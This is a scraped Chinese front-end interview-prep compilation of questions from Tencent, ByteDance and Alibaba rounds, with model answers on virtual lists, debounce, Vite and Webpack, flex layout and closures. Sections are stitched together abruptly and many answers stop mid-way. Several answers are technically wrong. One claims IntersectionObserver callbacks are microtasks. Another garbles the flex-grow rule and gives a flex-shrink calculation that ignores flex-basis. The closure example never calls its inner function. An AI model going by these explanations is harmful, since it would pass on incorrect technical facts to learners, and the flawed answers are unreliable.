加强计算机基础，算法和数据结构是技术能力的重要体现
培养系统性思维，能够从多个角度分析和解决问题

本轮共 20 道题。答案默认折叠，便于先自行作答。

1. 请讲一下你项目中的的虚拟列表，包括实现原理、优化过程以及如何设置缓冲区？

题目要点

核心原理：只渲染可视区域，动态计算显示范围
关键技术：滚动监听、索引计算、位置缓存
优化重点：动态高度处理、缓冲区设置、滚动性能
实际考虑：内存占用与性能平衡

参考答案

虚拟列表是解决大数据量列表渲染性能问题的核心方案。其实现原理基于"只渲染可视区域"的思想。

具体实现上，首先需要确定容器的可视高度和每个列表项的高度。通过监听滚动事件，实时计算当前滚动位置对应的起始索引和结束索引。核心公式是：起始索引 = Math.floor(scrollTop / itemHeight)，结束索引 = 起始索引 + Math.ceil(containerHeight / itemHeight)。

在优化过程中遇到的主要挑战是处理动态高度的列表项。解决方案是维护一个位置缓存数组，记录每个列表项的实际高度和累计偏移量。当列表项高度发生变化时，需要更新缓存并重新计算后续项的位置。

缓冲区设置是性能优化的关键。通常在可视区域前后各增加5-10个列表项作为缓冲，具体数量需要根据列表项的复杂度和渲染耗时来调整。缓冲区过小会导致快速滚动时出现白屏，过大则会增加内存占用和渲染负担。

对于滚动性能优化，还需要结合防抖节流、requestAnimationFrame等技术，确保滚动的流畅性。

2. 在虚拟列表中，如何结合防抖和节流技术优化性能？

题目要点

节流应用：滚动事件实时响应，保证连续性操作的流畅度
防抖应用：计算密集操作、数据预加载等非实时场景
组合策略：根据不同操作特性选择合适的优化方案
参数调优：时间间隔需要平衡性能和用户体验

参考答案

在虚拟列表的性能优化中，防抖和节流扮演着不同但互补的角色。

对于滚动事件本身，节流是更合适的选择。因为滚动是连续性操作，用户期望得到实时反馈，而不是等待操作结束后才响应。通常设置16-33ms的节流间隔，对应60-30fps的更新频率，既保证了流畅度又避免了过度计算。

防抖则主要用于一些计算密集型的操作。比如当滚动停止后，可能需要进行数据预加载、图片懒加载等操作，这些可以使用防抖来避免频繁触发。另外，对于搜索框结合虚拟列表的场景，搜索关键词的处理也适合使用防抖。

在实际实现中，还需要考虑组合使用的场景。比如可以对滚动事件使用节流进行实时响应，同时对复杂的重新计算逻辑使用防抖进行优化。这样既保证了用户体验，又避免了不必要的性能消耗。

需要注意的是，节流和防抖的时间设置需要根据具体业务场景调整，过短可能达不到优化效果，过长则会影响用户体验。

3. 如何使用 requestAnimationFrame 优化虚拟列表的滚动性能？

题目要点

核心优势：与浏览器重绘周期同步，避免无效渲染
应用场景：DOM更新调度、动画优化、时间切片
性能提升：减少重排重绘、合并多次操作、避免掉帧
注意事项：刷新率适配、兼容性考虑

参考答案

requestAnimationFrame是浏览器提供的专门用于动画优化的API，它能够确保回调函数在浏览器下一次重绘之前执行，这对虚拟列表的滚动性能优化具有重要意义。

腾讯-暑期实习 · 第 1 轮 · 一面

Sun, 29 Jun 2025 13:39:17 +0000

← 已是第一轮 · 返回本次面经 · 已是最后一轮 →

本轮要点： 主要几种在以下几个方向：

vue3原理
前端工程化：webpack、vite、pnpm、monorepo
前端安全
计算机网络

本轮共 21 道题。答案默认折叠，便于先自行作答。

1. JSON数组扁平化&数据过滤

假设有一个模拟接口 fetchData()，返回 Promise 对象，数据格式为：

{
"data": [
 { "id": 1, "value": 5 },
 { "id": 2, "value": 10, "children": [
 { "id": 3, "value": 8 } ]
 }
]
}

要求：

将接口返回的嵌套数据结构扁平化为一维数组；
筛选出 value 大于等于 8 的元素；
按 id 升序排列后，渲染为 <ul> 列表。

示例输出：

<ul>
<li>id:2, value:10</li>
<li>id:3, value:8</li>
</ul>

题目要点

递归与数据结构处理：考查候选人是否理解如何处理嵌套结构。
数组操作基础：filter/sort/map 等高阶方法掌握情况。
异步处理能力：是否熟悉 Promise 的使用。
原生 DOM 操作：不用框架的情况下渲染 HTML。

参考答案

1.1 原理说明

此题本质是一个数据处理与 DOM 渲染综合题，目标包括：

字节-今日头条-校招 · 第 1 轮 · 三面

Fri, 27 Jun 2025 08:02:46 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮要点： 本次面试主要考察候选人的项目经验、技术深度与广度，以及解决实际问题的能力和算法基础。

本轮共 16 道题。答案默认折叠，便于先自行作答。

1. 介绍一下实习项目的业务背景

题目要点

● 该题是主观型问题，不设"唯一标准答案"。 ● 面试官主要考察答题者能否清晰、有条理地阐述复杂业务，并展现其系统性思考和沟通表达能力。 ● 建议的答题结构是：首先概述项目所属行业与核心痛点，接着阐述项目目标与解决方案，最后简要提及项目成果及个人职责。

参考答案

高质量参考范文：

我之前在一家电商公司实习，主要负责一个名为"智能商品推荐系统"的项目。该项目的业务背景是，随着电商平台商品数量的激增，用户在海量商品中找到心仪商品变得越来越困难，导致用户体验下降，同时也影响了平台的转化率和GMV。为了解决这一痛点，我们团队着手开发智能推荐系统，旨在通过算法分析用户的行为数据（如浏览历史、购买记录、搜索偏好等），结合商品自身的属性，为用户提供个性化、精准的商品推荐，从而提升用户的购物效率和满意度。

在这个项目中，我的主要职责是负责推荐结果的前端展示和交互优化。具体来说，我参与了推荐模块的UI设计与实现，确保推荐流的加载流畅性，并针对不同场景（如首页推荐、详情页关联推荐、购物车推荐等）进行了布局和样式的适配。此外，我还负责埋点方案的实施，以便后续对推荐效果进行数据分析和A/B测试。通过这个项目，我们发现精准推荐能够显著提高用户的点击率和转化率，帮助平台更好地匹配用户需求与商品供给，最终促进了业务增长。

2. 假如你是一个项目的负责人，面对一个新需求你会如何判断以及决策？

题目要点

● 该题是主观型问题，不设"唯一标准答案"。 ● 面试官主要考察答题者在项目管理、需求分析、风险评估和决策制定方面的系统性思维和实践能力。 ● 建议的答题结构是：首先明确需求分析的步骤，接着说明决策制定的考量因素，最后强调风险管理与团队协作。

参考答案

高质量参考范文：

作为项目的负责人，面对新需求时，我会采取一个结构化的判断和决策流程。首先，我会进行深入的需求分析和理解。这包括与产品经理、业务方进行充分沟通，明确需求的来源、业务目标、用户价值和预期效果，同时也会收集用户反馈和市场数据进行辅助验证，确保我们对需求有全面的认知，而不是停留在表面。我会问自己几个关键问题：这个需求解决什么问题？能带来多大的业务价值？目标用户是谁？

其次，我会进行可行性评估和方案设计。从技术角度，我会组织技术团队评估实现方案的技术难度、所需资源（人力、时间、技术栈）、潜在风险以及对现有系统的影响。同时，我也会考虑多种技术方案，并对比它们的优劣，力求选择一个既能满足需求又具备良好扩展性和维护性的方案。在这个阶段，我会与团队成员进行充分讨论，集思广益。

接着是优先级排序和决策制定。在资源有限的情况下，我会根据需求的业务价值、技术复杂度、风险高低以及与其他需求的关联性进行综合评估，制定优先级。我会与产品、运营等相关方进行协商，达成一致的优先级共识，并最终确定新需求的上线计划和资源投入。例如，我们会将需求划分为"必须有"、“应该有”、“可以有"等层级，确保核心价值的优先实现。在整个过程中，我会持续关注风险管理，提前识别潜在的技术或业务风险，并制定相应的预案，确保项目能够顺利推进。

3. 功能上线后如何判断这个功能上线前后的影响和优化有多少呢？

题目要点

● 该题是主观型问题，不设"唯一标准答案”。 ● 面试官主要考察答题者对数据分析、效果评估、用户反馈和持续优化闭环的理解与实践能力。 ● 建议的答题结构是：首先说明数据指标的定义与埋点，接着阐述A/B测试的重要性，最后强调用户反馈收集和持续迭代。

参考答案

高质量参考范文：

功能上线后，为了准确判断其影响和优化效果，我通常会从几个维度进行综合评估。首先是数据指标的监控与分析。在功能设计阶段，我们就会明确核心的业务指标（如点击率、转化率、留存率、DAU/MAU等）和技术指标（如页面加载速度、接口响应时间等）。功能上线前，我们会确保所有相关的用户行为和系统性能都有完善的埋点方案。上线后，通过数据分析平台（如GA、神策、友盟等）持续追踪这些指标的变化趋势。对比功能上线前后的数据，可以直观地量化功能带来的影响。

其次，A/B测试是评估功能影响最科学的方法之一。如果条件允许，我们会将新功能通过A/B测试的方式灰度上线，将用户分成对照组和实验组。对照组用户使用旧功能，实验组用户使用新功能。通过对比两组用户的核心指标数据，可以排除其他干扰因素，更准确地评估新功能带来的实际增益或负面影响。这能帮助我们判断新功能是否达到了预期目标，或者是否需要进一步优化。

最后，用户反馈的收集与分析也至关重要。我们会通过多种渠道收集用户对新功能的反馈，包括用户调研问卷、用户访谈、线上评论、客服反馈等。这些定性数据可以帮助我们理解用户在使用过程中遇到的具体问题、痛点以及他们的真实感受，从而发现数据指标无法揭示的深层问题。我们会定期复盘这些反馈，结合数据分析的结果，识别功能潜在的优化点，并将其纳入后续的产品迭代计划中，形成一个持续优化、不断提升用户体验的闭环。

4. 有去了解过用户反馈最多的问题或者诉求最强的问题是什么吗？

题目要点

● 该题是主观型问题，不设"唯一标准答案"。 ● 面试官出这道题主要想确认哪些知识维度？ ● 考察候选人是否关注用户、理解用户痛点，并具备从用户角度思考问题的能力。 ● 评估候选人是否具备主动发现问题并寻求解决方案的意识。 ● 该题所考知识点中有哪些高频实际应用点？ ● 用户研究与用户画像分析 ● 竞品分析与行业趋势洞察 ● 用户体验（UX）与产品优化

字节-今日头条-校招 · 第 1 轮 · 二面

Fri, 27 Jun 2025 08:02:46 +0000

← 第 1 轮 · 返回本次面经 · 第 1 轮 →

本轮要点： 本次面试主要考察前端基础知识、项目经验和算法能力。

本轮共 12 道题。答案默认折叠，便于先自行作答。

1. 简单介绍一下你上一段实习中觉得做的比较好的项目

题目要点

● 主观型问题，无唯一标准答案。 ● 面试官主要考察你的项目理解深度、技术选型能力、问题解决能力、以及对项目成果的复盘与表达能力。 ● 建议的答题结构：首先简要介绍项目背景和你的角色；接着详细阐述你在项目中负责的具体工作、遇到的挑战及如何解决；最后总结项目成果和你的收获。

参考答案

我在XX公司实习期间，参与了一个内部运营效率工具的开发，其中我主导了"智能数据报表系统"的前端部分，这个项目我个人觉得做得比较好。项目背景是，之前的运营数据统计完全依赖人工手动导出和整理，效率低下且易出错。我们团队的目标是构建一个自动化、可视化的报表系统，让运营人员能够实时查看核心数据指标。

我主要负责报表的可视化组件开发和数据交互逻辑。在技术选型上，我没有简单地套用现有图表库，而是深入调研了业务需求，最终选择了ECharts进行定制化开发，因为它的灵活性和丰富图表类型能很好地满足我们多样化的报表展示需求。开发过程中最大的挑战是如何处理海量数据在前端的渲染性能问题。初期我们尝试直接加载全部数据，导致页面卡顿严重。我查阅资料并与后端协商，最终采用了数据分批加载和前端数据虚拟化的方案，即只加载当前视图所需数据，并对表格和图表进行局部渲染。这不仅大幅提升了页面响应速度，也降低了后端的数据传输压力。

另一个亮点是，我设计并实现了一个可配置的报表生成器。运营人员可以通过拖拽组件、配置数据源和筛选条件，自定义生成各种报表，极大地提高了他们的工作效率，也减少了开发人员的维护成本。在项目上线后，我通过用户反馈持续迭代，例如增加了数据导出功能、优化了图表联动效果，使得系统更加完善。这个项目让我深刻体会到了前端工程化和性能优化的重要性，也锻炼了我从需求分析到方案设计、再到具体实现和持续优化的全链路项目能力。

2. 想知道你们的项目大概是什么样的结构，你在开发的时候会从什么地方下手？

题目要点

● 主观型问题，无唯一标准答案。 ● 面试官主要考察你对项目整体架构的理解、系统性思维、以及实际开发流程的把控能力。 ● 建议的答题结构：首先概述项目采用的架构模式（如微前端、Monorepo、单体应用等）；接着描述核心模块的划分和技术栈；然后详细说明当你接到一个开发任务时，会从哪些方面着手分析和实现；最后可以提及一些你在开发流程中的最佳实践或思考。

参考答案

我们团队负责的XX系统，其整体架构是一个典型的微前端应用。具体来说，我们采用了基于qiankun的微前端方案，将整个系统拆分为多个独立的子应用，例如用户管理、订单中心、数据分析等。每个子应用都可以独立开发、独立部署，但在主应用中进行集成和路由管理。这样的好处是，团队成员可以专注于各自的子应用开发，降低了耦合度，也便于技术栈的演进和模块的复用。

当我接到一个开发任务时，通常会遵循以下步骤：

首先是需求分析和理解。我会仔细阅读需求文档，明确用户故事和业务目标，如果存在不清晰的地方，会主动与产品经理或设计师沟通，确保我对需求的理解是准确和全面的。这一步至关重要，它决定了后续开发的方向。

其次是技术方案设计。我会根据需求，结合当前项目的架构和技术栈，思考实现方案。这包括：是否需要新增组件或模块？数据流如何设计？接口如何定义？是否涉及到性能优化或兼容性问题？例如，如果是一个新功能模块，我会考虑其在微前端架构下的集成方式，以及与主应用之间的通信机制。如果涉及复杂的数据处理，我会优先考虑数据在前端的缓存策略，以及如何减少不必要的渲染。

接着是代码实现。我会根据设计好的方案，开始编写代码。我会严格遵循团队的代码规范和组件化原则，确保代码的可读性和可维护性。在实现过程中，我会注重模块的拆分和函数的封装，避免出现冗余代码。

在开发过程中，我非常重视自测和调试。我会编写单元测试和集成测试，确保自己实现的功能符合预期。如果遇到问题，会利用浏览器开发工具进行调试，分析问题原因并及时解决。此外，我也会关注代码的性能，例如使用Chrome DevTools进行性能分析，寻找优化点。

最后是代码评审和部署。在完成开发和自测后，我会提交代码进行代码评审，听取团队成员的建议，并对代码进行优化。通过评审后，会按照CI/CD流程进行部署，并在部署后关注线上监控，确保功能稳定运行。

这种结构化的开发流程，使得我在面对复杂任务时能够有条不紊地进行，并能及时发现和解决问题，保障了项目的开发质量和效率。

3. IntersectionObserver的事件回调是宏任务还是微任务？如何判断呢？

题目要点

● JavaScript 事件循环机制：考察对宏任务和微任务的理解，以及它们在事件循环中的执行顺序。 ● 浏览器 API 原理：考察对 IntersectionObserver 这一 Web API 的底层工作原理的掌握，特别是其回调函数的执行时机。 ● 实际应用与判断：考察如何在实际开发中判断异步操作的类型，并理解其对程序性能和行为的影响。

参考答案

1.1 原理说明

IntersectionObserver 的事件回调是微任务。

宏任务 (MacroTask)：包括 script (整体代码)、setTimeout、setInterval、setImmediate (Node.js 独有)、I/O、UI 渲染等。每次事件循环只会执行一个宏任务，执行完后会检查微任务队列。
微任务 (MicroTask)：包括 Promise.then()/.catch()/.finally()、MutationObserver、process.nextTick (Node.js 独有)、queueMicrotask。微任务在当前宏任务执行完毕后，下一个宏任务开始之前执行，且会清空所有微任务。

IntersectionObserver 的回调函数被设计为微任务，是为了保证在当前帧的 DOM 更新完成之后、但浏览器渲染之前执行。这样可以确保在回调函数中进行的 DOM 操作能够及时反映在当前帧的渲染中，避免了不必要的布局抖动或视觉闪烁。

字节-今日头条-校招 · 第 1 轮 · 一面

Fri, 27 Jun 2025 08:02:45 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮要点： 本次面试主要考察前端基础知识和工程化实践

本轮共 19 道题。答案默认折叠，便于先自行作答。

1. 介绍一下简历中的组件库项目

题目要点

非唯一标准答案：本题是主观型问题，没有唯一的标准答案，主要考察面试者的综合能力。
考察能力：面试官主要考察您的表达能力、对项目背景和技术细节的理解、解决问题的思路系统性，以及项目复盘和总结的能力。
答题结构建议：建议从项目背景和目的、技术选型与核心功能、遇到的挑战与解决方案、个人贡献与收获等方面展开阐述，力求条理清晰、重点突出。

参考答案

高质量参考范文：

在我的简历中，我提到了一个组件库项目，这个项目是我在实习期间为了统一团队UI规范，提升开发效率而主导或参与开发的。我们的目标是构建一套覆盖常用UI组件（如按钮、输入框、弹窗、表格等）的跨框架（或特定框架如Vue/React）的组件库，以满足业务快速迭代的需求，并保证产品界面的一致性。

在技术选型上，我们选择了Vue 3 + TypeScript + Vite + Sass Modules作为核心技术栈。Vue 3 的 Composition API 帮助我们更好地组织组件逻辑，提升了组件的复用性和可维护性；TypeScript则保证了代码的类型安全，尤其是在大型项目协作中大大减少了潜在的类型错误。Vite作为构建工具，极大地提升了开发服务器的启动速度和热更新效率。在样式方面，我们采用了Sass Modules，确保了组件样式的局部作用域，避免了全局污染，同时通过Sass的变量和混入特性，提升了样式代码的可维护性。

在核心功能实现上，我们关注了组件的通用性和可配置性。例如，在实现一个Select组件时，我们不仅考虑了基本选择功能，还加入了搜索过滤、多选、自定义渲染模板、异步加载选项等高级特性。每个组件都经过了详细的API设计和文档编写，确保其他开发者能够快速上手和正确使用。我们还集成了单元测试和端到端测试，以保证组件的质量和稳定性。

在项目过程中，我们也遇到了一些挑战。例如，如何设计一套灵活的主题机制，使得组件库能够轻松适应不同业务线的品牌风格，我们最终通过CSS Variables和一套主题生成工具解决了这个问题。另一个挑战是性能优化，特别是大型组件（如虚拟列表的表格）的渲染性能，我们通过按需加载、虚拟滚动等技术手段，确保了组件在处理大量数据时依然保持流畅。

通过这个组件库项目，我不仅深入理解了前端组件化开发的最佳实践，也锻炼了我在项目规划、技术选型、问题解决和团队协作方面的能力。我觉得最大的收获是，看到自己开发的组件被其他业务方广泛使用，并有效提升了他们的开发效率时，那种成就感是非常大的。这个项目也让我对前端工程化有了更深刻的理解，认识到标准化、自动化和高质量交付对于前端开发的重要性。

2. vite 和 webpack 有什么区别？

题目要点

构建工具的理解：面试官希望了解面试者对前端构建工具的整体认知，包括它们在前端开发流程中的作用和重要性。
Vite与Webpack的核心差异：考察面试者是否能清晰阐述两者在开发模式（Dev Server）和生产模式（Build）上的根本性区别，特别是它们处理模块依赖和启动开发服务器的方式。
性能优化：面试官想确认面试者是否能从性能角度分析两者的优劣，特别是Vite如何利用ESM（ECMAScript Modules）和原生浏览器支持实现快速的开发体验。
技术趋势：考察面试者是否关注前端生态的新技术发展，并能理解新技术带来的优势和对现有工具的影响。

参考答案

1.1 原理说明

Webpack： Webpack 是一个模块打包器。在开发模式下，Webpack 会将整个应用的所有模块（JavaScript、CSS、图片等）打包成浏览器可以识别的静态资源。在启动开发服务器之前，它需要完成整个打包过程。当代码发生修改时，Webpack 会重新编译并生成新的打包文件，然后通过热模块替换（HMR）机制将更新注入到浏览器中。
Vite： Vite 是一种基于浏览器原生 ES Modules 的构建工具。在开发模式下，Vite 不会预先打包整个应用。它利用浏览器对 ES Modules 的原生支持，当浏览器请求某个模块时，Vite 会即时地对该模块进行转换（例如处理 TypeScript、Vue/React 单文件组件等），然后直接提供给浏览器。这极大地减少了开发服务器的启动时间和热更新的时间。
核心区别与联系：
- 开发模式启动速度：Webpack 需要先打包再启动服务，随着项目规模增大，打包时间会显著增加。Vite 则利用浏览器原生 ES Modules 按需加载，实现了"冷启动"的秒开。
- 热更新（HMR）机制：Webpack 的热更新通常需要重新编译被修改的模块及其依赖链。Vite 的热更新同样基于 ES Modules，当一个模块被修改时，Vite 只需要精确地替换该模块及其直接相关的部分，更新速度更快，因为不需要重新构建整个依赖图。
- 生产环境构建：尽管开发模式下两者原理不同，但在生产环境构建时，Vite 内部仍然会使用 Rollup 进行打包，类似于 Webpack 的打包输出，以获得最佳的兼容性和性能优化（例如代码分割、Tree-shaking 等）。这意味着 Vite 在生产构建阶段也进行打包，并非完全无打包。
- 底层技术：Webpack 依赖于自己的模块解析和打包机制，而 Vite 则深度依赖于浏览器原生的 ES Modules 特性。
- 为什么会出现 Vite：随着前端项目日益庞大，基于打包器的开发服务器在冷启动和热更新方面的性能瓶颈日益凸显。Vite 的出现正是为了解决这一痛点，通过利用浏览器原生能力，显著提升开发效率和体验。

1.2 核心用法 + 使用场景

Vite 的优势使用场景：
- 大型项目开发：对于拥有大量模块和复杂依赖的项目，Vite 的即时按需编译能够显著缩短开发服务器的启动时间和热更新响应时间，提升开发效率。
- 追求极致开发体验：如果你希望在开发过程中获得近乎瞬时的代码修改反馈，Vite 是一个理想的选择。
- 新建项目：对于新项目，Vite 提供了更现代、更快速的开发起点。
Webpack 的优势使用场景：
- 老旧项目或复杂构建需求：对于历史项目，或需要高度定制化构建流程（例如微前端、特殊资源处理）的项目，Webpack 成熟的生态系统和灵活的配置依然是其优势。
- 对浏览器兼容性有极高要求：Webpack 拥有更广泛的浏览器兼容性处理能力，可以通过各种 Loader 和 Plugin 支持老旧浏览器特性。
核心用法体现：无论是 Vite 还是 Webpack，它们的核心目标都是为了提供更好的开发体验和生产环境下的代码优化。Vite 通过"开发阶段无打包"的理念解决了传统打包器的性能痛点，而 Webpack 则以其强大的生态和高度可配置性，满足了各种复杂的构建需求。开发者在项目中选择使用哪种工具，通常取决于项目规模、团队熟悉度、对开发效率和生产环境性能的权衡。

1.3 常见误区或面试陷阱

误区一：Vite 在生产环境也是无打包的。 这是一个常见的误解。Vite 在开发环境利用原生 ESM 实现按需加载，确实没有预打包的步骤。但为了在生产环境中获得最佳的性能和兼容性（例如代码压缩、Tree-shaking、兼容性处理等），Vite 仍然会使用 Rollup 进行打包。面试时如果直接说 Vite 生产环境也无打包，会暴露对 Vite 工作原理理解不深。
误区二：Vite 能够完全替代 Webpack。 尽管 Vite 在许多方面表现出色，尤其是在开发体验上，但它并不能在所有场景下完全替代 Webpack。Webpack 的生态系统更加庞大和成熟，拥有更多针对特定场景的 Loader 和 Plugin，其配置灵活性也更高。例如，一些复杂的构建需求、特定的兼容性要求或集成旧技术栈时，Webpack 可能会是更稳健的选择。
误区三：只强调速度快，不深入原理。 面试官更希望听到你对 Vite 和 Webpack 底层原理的理解，而不仅仅是停留在"Vite 比 Webpack 快"的表层认知。理解它们在模块处理、HMR 实现、构建流程上的差异，并能结合实际场景分析各自的优劣，才能体现出更深入的理解。
误区四：混淆"打包"和"编译/转换"。 Vite 在开发模式下不是"打包"，而是对单个文件进行"编译/转换"以适应浏览器。而 Webpack 则是在启动服务前进行完整的"打包"过程。清晰区分这两个概念很重要。

3. vite 打包可能会有什么问题呢？需要怎么处理？

题目要点

Vite 生产环境构建的理解：考察面试者是否清楚 Vite 在开发和生产环境的不同工作机制，特别是它在生产环境如何进行打包。
常见打包问题及解决方案：面试官想了解面试者是否遇到过 Vite 打包过程中可能出现的问题，以及如何诊断和解决这些问题，体现解决实际问题的能力。
Rollup 配置的掌握：由于 Vite 生产环境依赖 Rollup，面试官会关注面试者是否了解如何通过配置 Rollup 来解决特定的打包问题。
性能优化与兼容性：考察面试者在打包层面如何考虑应用的性能和浏览器兼容性，以及如何通过打包工具进行优化。

参考答案

1.1 原理说明

尽管 Vite 在开发模式下以其"无打包"的理念提供极速体验，但在生产环境，它仍然需要对代码进行打包，以实现最佳的性能优化和兼容性。Vite 内部使用 Rollup 作为其生产环境的打包工具。Rollup 的优势在于其高效的 Tree-shaking（清除未使用的代码）和生成优化过的 ES Modules 捆绑包。因此，Vite 打包时可能遇到的问题，很多时候是与 Rollup 的打包特性、插件机制以及项目本身的特定需求相关的。

阿里-蚂蚁金服-校招 · 第 1 轮 · 一面

Fri, 27 Jun 2025 06:05:39 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

阿里-蚂蚁金服-校招 · 第 1 轮 · 二面

Fri, 27 Jun 2025 06:05:39 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

参考答案

我参与过一个大型电商平台的前端开发，该项目的复杂度较高，主要体现在以下几个方面：

1. 技术栈丰富：项目中使用了Vue.js、Vuex、Vue Router、Vite、TypeScript等技术，结合了 Vuex 进行状态管理，Vue Router 实现了复杂的路由管理，Vite 作为构建工具提高了开发效率。
2. 性能要求高：由于平台需要支持大量的商品列表和用户并发访问，对性能的要求极高。我们通过代码分割、懒加载、图片优化等手段确保了页面的快速加载和流畅交互。
3. 功能模块复杂：涉及商品展示、购物车、订单管理、用户中心等多个功能模块，各模块之间需要紧密协作和数据共享。
4. 跨团队协作：前端团队与后端团队、设计团队紧密合作，确保项目的顺利交付。

4. 实习中的全栈部分做了什么

题目要点

全栈开发能力。

参考答案

在实习期间，我参与了多个全栈开发项目，主要负责以下工作：

1. 后端接口开发：使用Node.js和Express框架开发RESTful API接口，与前端进行数据交互。我设计并实现了用户认证、商品管理、订单处理等功能的API。
2. 数据库设计与操作：负责MySQL数据库的设计和优化，包括表结构设计、索引优化和查询性能提升。编写SQL语句进行数据的增删改查操作。
3. 前端与后端的联调：确保前后端数据格式的一致性和接口的稳定性，处理可能出现的跨域问题和数据验证问题。
4. 部署与运维：参与项目的部署工作，使用Docker容器化应用，并通过Nginx进行反向代理配置。监控应用的运行状态，及时处理线上问题。

5. Vue 和 React 都是什么时候开始接触的

题目要点

技术学习历程。

参考答案

我是在大学期间开始接触Vue和React的。具体来说：

1. Vue：在大三时，我通过一个个人项目开始学习Vue。当时，我被Vue简洁的语法和强大的组件化特性所吸引，于是深入研究了Vue的文档，并通过实践项目掌握了Vue的基本使用方法，包括组件的创建、数据绑定、事件处理等。
2. React：在大四时，我为了扩展自己的技术栈，开始学习React。我通过官方文档和在线教程了解了React的组件化思想、JSX语法以及Hooks的使用。通过一个小型的社交媒体项目，我实践了React的单向数据流和状态管理。

6. 对原生 JS 如何学习的，掌握程度怎么样

题目要点

JavaScript能力。

阿里-阿里妈妈-实习 · 第 1 轮 · 一面

Fri, 27 Jun 2025 06:04:12 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮要点： 本次面试主要考察校招生的基础内容

本轮共 13 道题。答案默认折叠，便于先自行作答。

1. 实现第一个元素不移动后续元素与左边相隔8px（:not(:first-child）

题目要点

CSS选择器与布局。

参考答案

要实现第一个元素不移动，后续元素与左边相隔8px，可以使用CSS中的:not(:first-child)选择器来选择除第一个元素外的所有同级元素，并为其设置左边距。这在布局中非常有用，可以避免对第一个元素应用不必要的样式。以下是一个示例：

<div class="container">
 <div class="item">Item 1</div>
 <div class="item">Item 2</div>
 <div class="item">Item 3</div>
 <div class="item">Item 4</div>
</div>

.container {
 display: flex;
}
.item:not(:first-child) {
 margin-left: 8px;
}

在这个示例中，.item:not(:first-child)选择器匹配了所有带有item类的元素，除了第一个元素。然后，我们通过margin-left: 8px为这些元素设置了左边距，使它们与左边的元素相隔8px。第一个元素不会受到影响，因此不会产生左边距，从而实现了题目要求的布局效果。这种技术在创建水平排列的元素时非常有用，例如导航栏或标签页，可以确保第一个元素与容器的边缘对齐，而后续元素之间保持一致的间距。

2. 写一个防抖

题库原题：实现 debounce（防抖）函数

题目要点

触发高频时间后n秒内函数只会执行一次,如果n秒内高频时间再次触发,则重新计算时间。

参考答案

触发高频时间后n秒内函数只会执行一次,如果n秒内高频时间再次触发,则重新计算时间。

const debounce = (fn, time) => {
 let timeout = null;
 return function() {
 clearTimeout(timeout)
 timeout = setTimeout(() => {
 fn.apply(this, arguments);
 }, time);
 }
};

防抖常应用于用户进行搜索输入节约请求资源，window触发resize事件时进行防抖只触发一次。

3. 讲讲你的项目难点

题目要点

项目经验与问题解决能力。

阿里-阿里妈妈-实习 · 第 1 轮 · 二面

Fri, 27 Jun 2025 06:04:12 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮要点： 本次面试主要考察校招生的基础内容

本轮共 9 道题。答案默认折叠，便于先自行作答。

1. Flex布局中flex-grow与flex-shrink的计算规则？

题目要点

CSS布局。

参考答案

在Flex布局中，flex-grow和flex-shrink属性用于控制子元素在可用空间内的扩展和收缩行为。它们的计算规则如下：

flex-grow：
1. 定义：定义项目的扩展比例，即项目在主轴方向上可占有的额外空间的比例。
2. 计算规则：剩余空间按项目flex-grow值的比例分配。如果所有项目的flex-grow值之和大于1，则按比例分配；如果小于1，则先分配剩余空间。
3. 示例：如果有两个子元素，flex-grow分别为1和2，总剩余空间为300px，则第一个子元素获得100px，第二个获得200px。
flex-shrink：
1. 定义：定义项目的收缩比例，即项目在主轴方向上需要收缩时的比例。
2. 计算规则：当总项目大小超过容器可用空间时，项目按flex-shrink值的比例收缩。收缩的最小尺寸受min-width或min-height限制。
3. 示例：如果有两个子元素，flex-shrink分别为1和2，总超出行空间为100px，则第一个子元素收缩约33.33px，第二个收缩约66.66px。
完整计算步骤：
1. 计算总可用空间：容器主轴长度减去所有项目初始尺寸（flex-basis或未设置时的内容尺寸）。
2. 判断剩余空间：
  1. 若剩余空间为正，按flex-grow分配扩展空间。
  2. 若剩余空间为负，按flex-shrink分配收缩空间。
3. 计算比例：每个项目的比例为flex-grow或flex-shrink值除以所有项目对应值之和。
4. 分配空间：按比例将剩余空间分配或从项目中扣除。
flex属性：flex是flex-grow、flex-shrink和flex-basis的简写形式。例如，flex: 1 1 0表示flex-grow: 1、flex-shrink: 1、flex-basis: 0。这在等比例分配剩余空间时非常有用。

2. 讲一下js闭包

题库原题：说说你对闭包的理解，以及闭包使用场景

题目要点

什么是闭包

简单理解就是函数中嵌套函数。我们都知道局部变量我们是无法访问的，但是通过闭包可以做到。

// 正常访问
var lan = 'zh';
function hello(){
 var name = '前端未来';
}
console.log(name)//很明显'undefined'

// 换成闭包
function hello(){
 var name = '前端未来';
 function demo(){
 console.log(name)//打印：前端未来
 }
}

闭包的应用场景

1. 数据封装和隐私

闭包可以用来封装数据和功能，创建具有私有变量和公共接口的模块。

应用

创建具有私有状态的模块或对象。

2. 函数工厂

闭包用于创建返回函数的函数，这些返回的函数可以维持状态。

阿里-国际电商-校招 · 第 1 轮 · 一面

Fri, 27 Jun 2025 06:02:07 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮要点： 本次面试主要考察校招生的基础内容

本轮共 19 道题。答案默认折叠，便于先自行作答。

1. 讲一下你的技术栈，为什么要学前端，如何学习前端的？

题目要点

技术栈、学习动机与方法。

参考答案

技术栈：
1. HTML/CSS：用于构建页面结构和样式。
2. JavaScript：包括ES6+特性，用于实现页面交互。
3. 框架：熟练使用Vue.js和React，了解其生态系统（如Vue Router、Vuex、React Router、Redux）。
4. 构建工具：使用Vite和Webpack进行项目构建和优化。
5. 状态管理：使用Vuex和Redux进行状态管理。
6. UI组件库：使用Element UI、Ant Design等。
7. 其他工具：Git、ESLint、Prettier、Jest等。
学习动机：
1. 前端开发结合了技术和创意，能够直接看到代码转化为用户界面，带来了即时满足感。
2. 前端领域技术更新快，充满挑战，提供了不断学习新知识的机会。
3. 对用户界面和交互设计的兴趣，希望创造良好的用户体验。
学习方法：
1. 在线课程：通过Coursera、Udemy、MDN Web Docs等平台学习基础知识。
2. 实践项目：通过个人项目和开源项目应用所学知识。
3. 阅读书籍：如《JavaScript高级程序设计》、《你不知道的JavaScript》。
4. 参与社区：在GitHub、Stack Overflow等社区与开发者交流，解决遇到的问题。
